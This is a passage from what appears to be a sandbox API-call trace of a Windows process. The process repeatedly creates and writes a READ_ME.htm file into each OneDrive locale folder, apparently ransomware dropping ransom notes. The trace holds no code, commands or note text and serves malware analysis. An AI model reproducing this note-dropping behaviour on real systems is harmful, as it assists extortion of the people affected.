"c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mi-nz\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.656] SetErrorMode (uMode=0x0) returned 0x1 [0145.656] GetFileType (hFile=0x1d0) returned 0x1 [0145.656] WriteFile (in: hFile=0x1d0, lpBuffer=0x293ac58*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x293ac58*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.658] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk", lpFilePart=0x0) returned 0x45 [0145.658] SetErrorMode (uMode=0x1) returned 0x0 [0145.658] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc792d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebe684b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebe684b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.658] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.658] SetErrorMode (uMode=0x0) returned 0x1 [0145.659] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk", lpFilePart=0x0) returned 0x45 [0145.659] SetErrorMode (uMode=0x1) returned 0x0 [0145.659] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc792d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebe684b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebe684b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.659] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.659] SetErrorMode (uMode=0x0) returned 0x1 [0145.659] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.659] SetErrorMode (uMode=0x1) returned 0x0 [0145.659] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mk\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.660] SetErrorMode (uMode=0x0) returned 0x1 [0145.660] GetFileType (hFile=0x1d0) returned 0x1 [0145.660] WriteFile (in: hFile=0x1d0, lpBuffer=0x2941240*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2941240*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in", lpFilePart=0x0) returned 0x48 [0145.661] SetErrorMode (uMode=0x1) returned 0x0 [0145.661] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ml-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebe684b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec057690, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec057690, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.662] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.662] SetErrorMode (uMode=0x0) returned 0x1 [0145.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in", lpFilePart=0x0) returned 0x48 [0145.662] SetErrorMode (uMode=0x1) returned 0x0 [0145.662] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ml-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebe684b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec057690, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec057690, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.662] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.662] SetErrorMode (uMode=0x0) returned 0x1 [0145.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.663] SetErrorMode (uMode=0x1) returned 0x0 [0145.663] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ml-in\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ml-in\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.663] SetErrorMode (uMode=0x0) returned 0x1 [0145.663] GetFileType (hFile=0x1d0) returned 0x1 [0145.663] WriteFile (in: hFile=0x1d0, lpBuffer=0x29478a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29478a8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn", lpFilePart=0x0) returned 0x45 [0145.665] SetErrorMode (uMode=0x1) returned 0x0 [0145.665] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec057690, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec2b8c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec2b8c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.665] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.665] SetErrorMode (uMode=0x0) returned 0x1 [0145.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn", lpFilePart=0x0) returned 0x45 [0145.666] SetErrorMode (uMode=0x1) returned 0x0 [0145.666] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mn\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec057690, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec2b8c90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec2b8c90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.666] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.666] SetErrorMode (uMode=0x0) returned 0x1 [0145.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.666] SetErrorMode (uMode=0x1) returned 0x0 [0145.666] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mn\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mn\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.667] SetErrorMode (uMode=0x0) returned 0x1 [0145.667] GetFileType (hFile=0x1d0) returned 0x1 [0145.667] WriteFile (in: hFile=0x1d0, lpBuffer=0x294de90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x294de90*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr", lpFilePart=0x0) returned 0x45 [0145.669] SetErrorMode (uMode=0x1) returned 0x0 [0145.669] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mr\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2b8c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec4a7e70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec4a7e70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.669] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.669] SetErrorMode (uMode=0x0) returned 0x1 [0145.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr", lpFilePart=0x0) returned 0x45 [0145.670] SetErrorMode (uMode=0x1) returned 0x0 [0145.670] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mr\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2b8c90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec4a7e70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec4a7e70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.670] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.670] SetErrorMode (uMode=0x0) returned 0x1 [0145.670] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.671] SetErrorMode (uMode=0x1) returned 0x0 [0145.671] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mr\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.674] SetErrorMode (uMode=0x0) returned 0x1 [0145.674] GetFileType (hFile=0x1d0) returned 0x1 [0145.674] WriteFile (in: hFile=0x1d0, lpBuffer=0x2954478*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2954478*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.675] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms", lpFilePart=0x0) returned 0x45 [0145.675] SetErrorMode (uMode=0x1) returned 0x0 [0145.675] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ms\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5403f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec755730, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec755730, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.676] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.676] SetErrorMode (uMode=0x0) returned 0x1 [0145.681] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms", lpFilePart=0x0) returned 0x45 [0145.681] SetErrorMode (uMode=0x1) returned 0x0 [0145.681] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ms\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec5403f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec755730, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec755730, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.682] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.682] SetErrorMode (uMode=0x0) returned 0x1 [0145.682] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.682] SetErrorMode (uMode=0x1) returned 0x0 [0145.682] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ms\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ms\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.682] SetErrorMode (uMode=0x0) returned 0x1 [0145.683] GetFileType (hFile=0x1d0) returned 0x1 [0145.683] WriteFile (in: hFile=0x1d0, lpBuffer=0x295aa60*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x295aa60*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.684] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt", lpFilePart=0x0) returned 0x48 [0145.684] SetErrorMode (uMode=0x1) returned 0x0 [0145.684] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mt-mt\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec755730, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeca02ff0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeca02ff0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.685] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.685] SetErrorMode (uMode=0x0) returned 0x1 [0145.685] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt", lpFilePart=0x0) returned 0x48 [0145.685] SetErrorMode (uMode=0x1) returned 0x0 [0145.685] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mt-mt\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec755730, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeca02ff0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeca02ff0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.685] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.685] SetErrorMode (uMode=0x0) returned 0x1 [0145.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.686] SetErrorMode (uMode=0x1) returned 0x0 [0145.686] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\mt-mt\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\mt-mt\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.686] SetErrorMode (uMode=0x0) returned 0x1 [0145.686] GetFileType (hFile=0x1d0) returned 0x1 [0145.686] WriteFile (in: hFile=0x1d0, lpBuffer=0x29610c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29610c8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no", lpFilePart=0x0) returned 0x48 [0145.688] SetErrorMode (uMode=0x1) returned 0x0 [0145.688] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nb-no\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeca02ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecc18330, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecc18330, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.688] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.689] SetErrorMode (uMode=0x0) returned 0x1 [0145.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no", lpFilePart=0x0) returned 0x48 [0145.689] SetErrorMode (uMode=0x1) returned 0x0 [0145.689] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\nb-no\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeca02ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xecc18330, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xecc18330, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.689] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.689] SetErrorMode (uMode=0x0) returned 0x1 [0145.690] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\nb-no\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: 